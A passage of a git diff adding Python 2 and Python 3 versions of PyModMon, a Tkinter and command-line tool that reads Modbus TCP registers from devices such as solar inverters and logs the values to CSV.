port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating 